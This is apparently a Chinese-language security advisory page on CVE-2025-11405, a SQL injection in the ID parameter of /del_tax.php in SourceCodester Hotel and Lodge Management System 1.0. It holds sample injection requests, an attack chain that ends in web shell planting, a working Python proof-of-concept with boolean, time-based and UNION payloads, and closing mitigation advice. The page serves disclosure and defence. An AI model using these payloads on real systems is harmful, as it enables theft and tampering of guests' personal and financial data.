IPBUF安全漏洞报告
English
CVE-2025-11405 CVSS 6.3 中危

CVE-2025-11405:SourceCodester酒店管理系统SQL注入漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11405
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Hotel and Lodge Management System

相关标签

SQL注入SourceCodesterHotel and Lodge Management Systemdel_tax.phpCVE-2025-11405中危漏洞Web应用安全PHP数据库安全远程利用

漏洞概述

CVE-2025-11405是SourceCodester Hotel and Lodge Management System 1.0版本中存在的一个SQL注入安全漏洞。该漏洞于2025年10月7日由[email protected]披露,CVSS 3.1评分为6.3,属于中危级别漏洞。该漏洞存在于系统的/del_tax.php文件中,具体位于对参数ID的处理逻辑中。攻击者可以通过精心构造的恶意SQL语句,利用此漏洞对后台数据库进行未授权的查询、修改或删除操作。

SourceCodester Hotel and Lodge Management System是一款用于酒店和旅馆管理的Web应用程序,提供客房管理、预订管理、税务管理等功能。由于该系统通常涉及客户个人信息、预订记录和财务数据,SQL注入漏洞可能导致敏感数据泄露、数据篡改甚至系统完全失陷。该漏洞可以被远程利用,且已有公开的漏洞利用代码可供使用,攻击门槛较低,潜在威胁不容忽视。

根据CVSS向量分析,该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L),无需用户交互(UI:N)。其对机密性、完整性和可用性的影响均为低级别(L),综合评估为中危漏洞。尽管单项影响评级为低,但由于漏洞利用代码已公开传播,且系统面向中小型酒店业务,潜在影响范围仍然较大,建议相关用户尽快采取修复措施。

技术细节

该SQL注入漏洞位于SourceCodester Hotel and Lodge Management System 1.0的/del_tax.php文件中。漏洞的根本原因是程序在对ID参数进行处理时,未能对其进行充分的输入验证和参数化处理,直接将用户可控的输入拼接到SQL查询语句中执行。

从技术层面分析,攻击者可以通过向/del_tax.php文件发送带有恶意SQL片段的ID参数来触发漏洞。例如,攻击者可以构造类似以下的请求:

GET /del_tax.php?ID=1' OR '1'='1 HTTP/1.1

或者使用基于时间的盲注技术:

GET /del_tax.php?ID=1' AND SLEEP(5)-- HTTP/1.1

当服务器接收到此类请求时,由于缺乏对单引号等特殊字符的转义或使用预编译参数化查询,恶意的SQL代码会被数据库引擎解析执行。攻击者可以利用此漏洞执行以下操作:

1. 通过UNION查询提取数据库中的敏感信息,如管理员凭据、客户信息等;
2. 使用布尔盲注或时间盲注技术逐步推断数据库结构;
3. 利用SQL注入执行数据修改操作,如篡改税务记录或删除关键数据;
4. 在特定数据库配置下,利用堆叠查询执行系统命令。

该漏洞利用需要低权限认证(PR:L),意味着攻击者需要至少一个有效的低权限账户才能发起攻击。这在一定程度上提高了攻击门槛,但考虑到许多酒店管理系统可能存在默认弱口令或账户泄露的情况,该限制并不能有效阻止有针对性的攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎、Shodan等工具识别暴露在互联网上的SourceCodester Hotel and Lodge Management System 1.0实例,并获取系统的技术架构信息。
STEP 2
步骤2:获取低权限凭证
由于漏洞利用需要低权限认证(PR:L),攻击者通过默认口令爆破、社会工程学或购买泄露凭证等方式获取一个有效的低权限用户账户。
STEP 3
步骤3:构造恶意请求
攻击者登录系统后,向/del_tax.php端点构造带有恶意SQL注入Payload的HTTP请求,通过ID参数注入SQL代码片段。
STEP 4
步骤4:执行SQL注入攻击
服务器将恶意SQL语句拼接到查询中执行,攻击者可利用UNION查询提取数据库敏感信息,或通过盲注技术逐步获取数据库结构和管理员凭据。
STEP 5
步骤5:权限提升与数据窃取
利用获取的管理员凭据登录系统,进一步访问和窃取客户预订信息、个人身份数据、财务记录等敏感数据,或对数据库进行篡改和破坏。
STEP 6
步骤6:植入后门或横向移动
在获得足够权限后,攻击者可在系统中植入Web Shell后门,或利用数据库特性执行系统命令,实现对服务器的持久化控制并进行内网横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11405 PoC - SourceCodester Hotel and Lodge Management System SQL Injection # Vulnerable file: /del_tax.php # Vulnerable parameter: ID import requests TARGET_URL = "http://target-site.com" # Requires low-privilege authentication COOKIES = { "PHPSESSID": "your_session_cookie_here" } def exploit_sql_injection(target_url, cookies, technique="error_based"): """ Exploit SQL injection in del_tax.php ID parameter """ vulnerable_endpoint = f"{target_url}/del_tax.php" # Technique 1: Error-based / Boolean-based SQLi if technique == "boolean": payloads = [ "1' AND 1=1-- -", # True condition "1' AND 1=2-- -", # False condition "1' OR '1'='1'-- -", # Always true ] for payload in payloads: params = {"ID": payload} try: response = requests.get( vulnerable_endpoint, params=params, cookies=cookies, timeout=10 ) print(f"[+] Payload: {payload}") print(f"[+] Status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") except Exception as e: print(f"[-] Error: {e}") # Technique 2: Time-based blind SQLi elif technique == "time_based": payload = "1' AND SLEEP(5)-- -" params = {"ID": payload} try: import time start = time.time() response = requests.get( vulnerable_endpoint, params=params, cookies=cookies, timeout=30 ) elapsed = time.time() - start if elapsed >= 5: print(f"[+] Time-based SQLi confirmed! Elapsed: {elapsed:.2f}s") except Exception as e: print(f"[-] Error: {e}") # Technique 3: UNION-based SQLi for data extraction elif technique == "union": # First determine column count for i in range(1, 15): cols = ",".join([str(j) for j in range(1, i+1)]) payload = f"1' UNION SELECT {cols}-- -" params = {"ID": payload} try: response = requests.get( vulnerable_endpoint, params=params, cookies=cookies, timeout=10 ) if response.status_code == 200 and "error" not in response.text.lower(): print(f"[+] Number of columns: {i}") # Extract database version payload = f"1' UNION SELECT {cols.replace('1', 'version()', 1)}-- -" params = {"ID": payload} response = requests.get( vulnerable_endpoint, params=params, cookies=cookies, timeout=10 ) print(f"[+] Database version: {response.text}") break except Exception as e: continue if __name__ == "__main__": print("[*] CVE-2025-11405 SQL Injection PoC") print("[*] Target: SourceCodester Hotel and Lodge Management System 1.0") exploit_sql_injection(TARGET_URL, COOKIES, technique="boolean") exploit_sql_injection(TARGET_URL, COOKIES, technique="time_based") exploit_sql_injection(TARGET_URL, COOKIES, technique="union")

影响范围

SourceCodester Hotel and Lodge Management System 1.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)或入侵检测系统(IDS)部署SQL注入攻击检测规则,阻断针对/del_tax.php的恶意请求;2)在Web服务器层面限制对/del_tax.php文件的直接访问,仅允许经过授权的内部调用;3)对ID参数实施严格的输入验证,仅接受数字类型的输入,拒绝包含特殊字符(单引号、分号、注释符等)的请求;4)审查并修改/del_tax.php的源代码,将直接拼接SQL的方式改为参数化查询;5)加强系统账户管理,要求所有用户使用强密码并启用多因素认证;6)监控数据库日志,及时发现异常的查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表